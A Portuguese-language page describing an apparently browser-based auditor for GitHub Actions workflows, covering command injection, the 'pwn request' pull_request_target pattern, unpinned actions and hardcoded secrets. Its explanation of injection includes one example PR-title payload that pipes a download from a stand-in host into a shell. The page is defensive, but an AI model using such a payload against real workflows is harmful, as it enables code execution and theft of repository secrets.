Texto e documentos
Números e cálculo
Dados e formatos
Segurança
Desenvolvimento e DevOps
Inteligência Artificial
Finanças
Saúde & Bem-estar
Produtividade
Jogos & Entretenimento
Multimédia e design
Empresa
Guia de utilização
O que revê

Os workflows de .github/workflows/*.yml: instruções escondidas num título de PR ou num comentário que se infiltram num passo run:; o padrão pull_request_target + checkout do código de um fork, e o seu primo workflow_run com os artefactos do run que o disparou; escritas em GITHUB_ENV com um disparador privilegiado; o token que o actions/checkout deixa em disco; secrets: inherit e toJSON(secrets); workflows sem permissions:; ações de terceiros sem fixar a um commit e segredos escritos à mão. Só lê: não chama a API do GitHub nem executa nada.

A injeção de comandos, em resumo

O título de uma PR, o corpo de uma issue ou o nome de um branch são escritos por quem abre a PR: é texto livre. Se um run: o insere tal como está entre aspas, um título como "; curl evil.example | sh # deixa de ser texto e passa a ser o comando que é executado.

Porque é que o «pwn request» é tão grave

O pull_request_target existe para ler dados de uma PR com as permissões do repositório base — pensado para NÃO executar o código da PR. Se um passo fizer checkout desse código de qualquer forma, qualquer pessoa que abra uma PR (mesmo a partir de um fork, sem qualquer acesso prévio) consegue executar o que quiser com os secrets do repositório.

Os secrets que encontrares

Para verificar uma chave suspeita antes de a colares noutro sítio, usa «Posso colar isto?».

Auditor de GitHub ActionsInjeção de comandos, pull_request_target inseguro, ações sem fixar
Auditor do GitHub ActionsInjeção de comandos, pull_request_target inseguro, actions sem fixar e secrets em .github/workflows/. 100 % no teu navegador
Larga aqui o projeto ou os .yml de .github/workflows/ (ou clica para os escolheres)

Lê os workflows, não executa nada nem chama a API do GitHub. Procura instruções escondidas num título de PR que se infiltram num passo de shell, o padrão pull_request_target + checkout de um fork, actions de terceiros sem fixar a um commit e secrets escritos à mão.